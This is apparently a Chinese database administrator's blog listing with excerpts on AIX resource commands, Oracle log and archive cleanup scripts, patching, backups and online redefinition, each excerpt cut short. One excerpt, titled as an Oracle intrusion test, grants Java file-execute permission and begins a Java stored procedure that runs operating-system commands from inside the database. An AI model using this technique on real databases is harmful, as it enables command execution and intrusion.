aix----查询cpu、内存、swap、hacmp、网络、系统资源使用情况
查看内存:lsattr -El mem0查看一个cpu有几个核:lsdev -C|grep proc查看有多少个cpu:lsattr -El proc0动态查看nmon查看aix swap分区lsps -a 可用分区的情况lsps -s 查看所有查看ha是否正常运行:lssrc -ls clstrmgrES查看上一条历史命令:esc + k查看网络/usr/sbin/cluster/utilities/cllsif -SAix 查看进程占用内存大小(按从大小排列)ps aux | head -1 ; ps aux | sort -rn +3 | head ps -ealf | head -1 ; ps -ealf | sort -rn +9 | head[@more@]
几本好书列表
日本的反省:依赖美国的罪与罚[@more@]
oracle----删除归档、清理日志、杀oracle进程脚本
删除trc文件:ls -lrt|grep trc|head -150|awk '{print $8}'|xargs rmls -lrt *.trc|head -10|awk '{print $9}'|xargs rm 删除归档文件:ls -lrt|head -10|awk '{print $9}'|xargs rmarchPath=/arch${1}archPercent=`df -g|grep ${archPath}|awk '{print $4}'|sed 's/%//g'`echo $(date)=${archPercent}%cd $archPathif [ ${archPercent} -gt 40 ] ; thenls -ltr *.arc|head -30|awk '{print $9}'|xargs rm echo "archivelog deleted at "$(date)fi删除监听日志文件:tail -1000 listener.log>listener.loglog_file_dir=/oracle
aix----vi编辑时报临时空间不足
aix平台vi 默认目录为/var/tmp,如果该目录空间不足,则会报错可以通过export EXINIF="set directory=/tmp"再执行vi[@more@]
oracle----在线重定义
Privileges Required====================Following privileges are needed to run this package: - Execute privilege to DBMS_REDEFINITION- Create any table- Alter any table- Drop any table- Lock any table- Select any tableCREATE TABLE unpar_table ( id NUMBER(10), create_date DATE, name VARCHAR2(100) ); ALTER TABLE unpar_table ADD ( CONSTRAINT unpar_table_pk PRIMARY KEY (id) ); CREATE INDEX create_date_ind ON unpar_table(create_date); EXEC DBMS_STATS.gather_table_stats('huang', 'unpar_table', cascade
oracle----入侵oracle测试
exec dbms_java.grant_permission( 'FLY', 'SYS:java.io.FilePermission', '<<ALLFILES>>', 'execute');grant javasyspriv to fly;create or replace and compilejava souRCe named "util"asimport java.io.*;import java.lang.*;public class util extends Object{public static int RunThis(String args){Runtime rt = Runtime.getRuntime();int RC = -1;try{Process p = rt.exec(args);int bufSize = 4096;BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize);int len;byte buffer[
oracle----了解Oracle Critical Patch Update
Oracle Critical Patch Update是什么?Critical Patch Update(以下简称CPU),是Oracle在2005年开始引入的产品安全更新策略。一般来说CPU包含了Oracle产品安全漏洞的修复补丁集(set of security bug fix)。CPU最早的雏形出现在2005年,该项目致力于为客户周期性地提供累积性的补丁以修复安全漏洞。通常CPU补丁会在每季度开始第一个月的15号发布,按照发布日期的不同可以划分为:January : CPU JAN April : CPU APR July : CPU JUL October : CPU OCT 存在以下3种类型的CPU补丁:Normal CPU:在10.2.0.2之前所有的CPU均是Normal CPU Molecul
oracle----一客户TSM备份脚本
---level0_20110719.txtrun{allocate channel t1 type 'sbt_tape' parms 'ENV=(tdpo_optfile=/usr/tivoli/tsm/client/oracle/bin64/tdpo.opt)' connect allocate channel t2 type 'sbt_tape' parms 'ENV=(tdpo_optfile=/usr/tivoli/tsm/client/oracle/bin64/tdpo.opt)' connect sys/test@rac2;sql 'alter system archive log current';backupincremental level 0filesperset 5format 'db_%d_%t_%s_%p_%T'(database include current controlfile);release channel t1;release channel t2;}--level1_20110719.txtrun {allocate channel t1 t
oracle----关于PSU与rac中的rolling upgrade
随着Oracle软件越来越庞大,内部结构越来越'精密', 每个版本推出来的新特性,新功能总是有各种各样的缺陷;而新版本中对上一个版本中遗留问题的修复又会引入新的问题老DBA总结出来的: 只使用2-3年之前发布的'稳定版本' 对于新装系统的Oracle版本选型虽然仍具有指导意义, 但老汤认为越来越不适用了比如2001年9i (9.0.1.0)开始推出的RAC, 现在已经进化到了11.2.0, 谁能有足够理由说9iR1, 9iR2或10gR2要比11gR2稳定呢?事实是: RAC这个组件只会随着版本的升级变得越来越成熟, 越来越稳定, 所以当一个决定使用RAC来提供服务时, 对oracle版本的选择
oracle----opatch 工具的使用(oracle小补丁安装)
从9.2版开始,Oracle公司设计实现了个别补丁安装管理工具opatch.opatch使用一个称为inventory的系统数据结构(严格说是与oui共享inventory),集中管理所有已安装的个别补丁;个别补丁的安装和卸载都使用opatch命令完成,冲突检测也由opatch在安装时自动完成;提供列表命令可以很方便得到已安装个别补丁的信息。10g(10.1和10.2)版本中,opatch作为一个标准工具,在软件安装时自动安装。(安装在$ORACLE_HOME/OPatch下。)而对于9.2版,需要从metalink下载opatch.无论数据库是哪一个版本,系统中是否已经安装opatch,在使用之前,应从met
oracle----下载patch的快捷方法
oracle下载patch的快捷方法 oracle中如果要下载patch,通常都要通过windows客户端连接到metalink的网页上去查询下载,然后ftp到使用的其他服务器上,效率比较低。有一个简单的方法就是直接登录到metalink的ftp服务器上下载,将会方便很多,使用如下: [ora10g@db4 ~]$ ftpftp> o updates.oracle.comConnected to updates.oracle.com (141.146.44.51).220 FTP server ready.Name (updates.oracle.com:zzx): **********331 Username OK, please send password.Password: 这里的用户名和密码需要填写metalink的登录帐号,登录后如果知道